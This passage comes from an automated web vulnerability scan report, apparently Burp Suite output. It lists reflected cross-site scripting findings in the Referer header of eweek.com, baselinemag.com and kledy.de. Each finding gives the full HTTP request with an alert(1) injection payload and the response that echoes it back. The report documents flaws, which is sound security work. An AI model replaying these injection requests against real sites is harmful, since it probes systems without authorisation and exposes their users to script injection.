Cookie: __utmz=262210463.1296998524.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/45; sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998534562-New; s_sq=%5B%5BB%5D%5D; __utma=262210463.1274416164.1296998524.1296998524.1296998524.1; __utmc=262210463; __utmb=262210463.2.10.1296998524

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:22:21 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3808

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
<!--
s.pageName=""
s.referrer = "http://www.google.com/search?hl=en&q=f9677"-alert(1)-"60c757f6c00"
s.server=""
s.channel="Baselinemag Home>
...[SNIP]...

4.670. http://www.baselinemag.com/spacer.gif [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/spacer.gif

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 665e0"-alert(1)-"9deb9b12562 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /spacer.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=665e0"-alert(1)-"9deb9b12562
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998523669-New; s_sq=%5B%5BB%5D%5D

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:47 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3792

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
<!--
s.pageName=""
s.referrer = "http://www.google.com/search?hl=en&q=665e0"-alert(1)-"9deb9b12562"
s.server=""
s.channel="Baselinemag Home>
...[SNIP]...

4.671. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b9016"-alert(1)-"130c26df728 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/Web-Services-Web-20-and-SOA/Smarter-Enterprise-and-NextGeneration-Web-Services/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=b9016"-alert(1)-"130c26df728

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:01 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Content-Length: 3798

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
<!--
s.pageName=""
s.referrer = "http://www.google.com/search?hl=en&q=b9016"-alert(1)-"130c26df728"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.672. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8e14"-alert(1)-"988ac6d4176 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=b8e14"-alert(1)-"988ac6d4176

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=4f1e1bc7d321f40a69732af9316e1855; expires=Mon, 06-Feb-2012 16:07:07 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42687

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>eWeek Newsbreak Jan 20 2010 - Web Services Web 20 and SOA - News & Reviews - eWeek.com</title>
<meta name="mediu
...[SNIP]...
<!--
s.pageName="eWeek Newsbreak Jan 20 2010-Page001-58590"
s.referrer = "http://www.google.com/search?hl=en&q=b8e14"-alert(1)-"988ac6d4176"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.673. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56392"><script>alert(1)</script>cfd30f8fce5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:05 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=fc7e6d918b193365b3de69fa67d71c6e; expires=Mon, 06-Feb-2012 16:07:04 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:04 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42712

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>eWeek Newsbreak Jan 20 2010 - Web Services Web 20 and SOA - News & Reviews - eWeek.com</title>
<meta name="mediu
...[SNIP]...
<input type="text" value="56392"><script>alert(1)</script>cfd30f8fce5" name="q" size="30">
...[SNIP]...

4.674. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbf53"><script>alert(1)</script>366b0773325 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=fbf53"><script>alert(1)</script>366b0773325

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:05 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=0212dd0229a38331987046eb854b6bbf; expires=Mon, 06-Feb-2012 16:07:05 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:05 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42170

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>eWeek Newsbreak, July 24, 2009 - Web Services Web 20 and SOA - News & Reviews - eWeek.com</title>
<meta name="me
...[SNIP]...
<input type="text" value="fbf53"><script>alert(1)</script>366b0773325" name="q" size="30">
...[SNIP]...

4.675. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9546b"-alert(1)-"7d7d000f081 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:08 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=10766ec010c34ad3674a5b334c1d8655; expires=Mon, 06-Feb-2012 16:07:07 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:08 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42147

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>eWeek Newsbreak, July 24, 2009 - Web Services Web 20 and SOA - News & Reviews - eWeek.com</title>
<meta name="me
...[SNIP]...
<!--
s.pageName="eWeek Newsbreak, July 24, 2009-Page001-55107"
s.referrer = "http://www.google.com/search?hl=en&q=9546b"-alert(1)-"7d7d000f081"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.676. http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f75d4"-alert(1)-"705dae51c79 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=f75d4"-alert(1)-"705dae51c79

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:09 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=394e01917dddfa3134bb493c900f6468; expires=Mon, 06-Feb-2012 16:07:09 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:09 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42635

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>5 Reasons Companies Aren`t Skipping Vista - Windows - News & Reviews - eWeek.com</title>
<meta name="medium" con
...[SNIP]...
<!--
s.pageName="5 Reasons Companies Aren`t Skipping Vista-Page001-51172"
s.referrer = "http://www.google.com/search?hl=en&q=f75d4"-alert(1)-"705dae51c79"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.677. http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65b85"><script>alert(1)</script>dbf3a60c943 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:06 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=1eb864f6bcf824ce41cd88ba72e15a14; expires=Mon, 06-Feb-2012 16:07:06 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:06 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42658

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>5 Reasons Companies Aren`t Skipping Vista - Windows - News & Reviews - eWeek.com</title>
<meta name="medium" con
...[SNIP]...
<input type="text" value="65b85"><script>alert(1)</script>dbf3a60c943" name="q" size="30">
...[SNIP]...

4.678. http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0f65"-alert(1)-"c511ed18c94 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=d0f65"-alert(1)-"c511ed18c94

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:10 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=0cce1453b151dd42e5a0ab2923c21d58; expires=Mon, 06-Feb-2012 16:07:09 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:09 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 43731

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Ensuring Smooth Upgrade Path with Windows Vista - Windows - News & Reviews - eWeek.com</title>
<meta name="mediu
...[SNIP]...
<!--
s.pageName="Ensuring Smooth Upgrade Path with Windows Vista-Page001-51869"
s.referrer = "http://www.google.com/search?hl=en&q=d0f65"-alert(1)-"c511ed18c94"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.679. http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f10f0"><script>alert(1)</script>01bad51f7bd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:07 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=485ecc0decdbe925af9d9abecf03f236; expires=Mon, 06-Feb-2012 16:07:07 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 43754

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Ensuring Smooth Upgrade Path with Windows Vista - Windows - News & Reviews - eWeek.com</title>
<meta name="mediu
...[SNIP]...
<input type="text" value="f10f0"><script>alert(1)</script>01bad51f7bd" name="q" size="30">
...[SNIP]...

4.680. http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 71fdc"-alert(1)-"4ce6adf9d90 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=71fdc"-alert(1)-"4ce6adf9d90

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:11 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=a5236f64a0c08ef66b0a24d749506b0f; expires=Mon, 06-Feb-2012 16:07:11 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:11 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 41504

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>How to Accurately Plan for Windows Server 2008 Hardware - Windows - News & Reviews - eWeek.com</title>
<meta nam
...[SNIP]...
<!--
s.pageName="How to Accurately Plan for Windows Server 2008 Hardware-Page001-50215"
s.referrer = "http://www.google.com/search?hl=en&q=71fdc"-alert(1)-"4ce6adf9d90"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.681. http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ca1d"><script>alert(1)</script>f5c4acd6847 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:09 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=293550c3a1091c4cffa3f6a06d06a3f8; expires=Mon, 06-Feb-2012 16:07:08 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:08 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 41529

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>How to Accurately Plan for Windows Server 2008 Hardware - Windows - News & Reviews - eWeek.com</title>
<meta nam
...[SNIP]...
<input type="text" value="8ca1d"><script>alert(1)</script>f5c4acd6847" name="q" size="30">
...[SNIP]...

4.682. http://www.eweek.com/c/s/Videos/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/s/Videos/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5147d"-alert(1)-"4b20e967be2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /c/s/Videos/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=5147d"-alert(1)-"4b20e967be2

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:08:40 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=9caaf6afc38d74cabb7ed09cdc5260c7; expires=Mon, 06-Feb-2012 16:08:40 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:08:40 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 79439

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Videos - News & Reviews - eWeek.com</title>
<meta name="medium" content="news" />
<meta name="title" content="Vid
...[SNIP]...
<!--
s.pageName="Videos-9"
s.referrer = "http://www.google.com/search?hl=en&q=5147d"-alert(1)-"4b20e967be2"
s.server=""
s.channel="eWEEK Home>
...[SNIP]...

4.683. http://www.eweek.com/c/s/Videos/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/s/Videos/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10669"><script>alert(1)</script>a957892fc55 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:08:11 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=39e6a9e78e0315e51c29a61ec1d4462f; expires=Mon, 06-Feb-2012 16:08:11 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:08:11 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 79469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Videos - News & Reviews - eWeek.com</title>
<meta name="medium" content="news" />
<meta name="title" content="Vid
...[SNIP]...
<input type="text" value="10669"><script>alert(1)</script>a957892fc55" name="q" size="30">
...[SNIP]...

4.684. http://www.kledy.de/modules/buttons/buttons.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/modules/buttons/buttons.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13087'-alert(1)-'3c02ec02ea8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

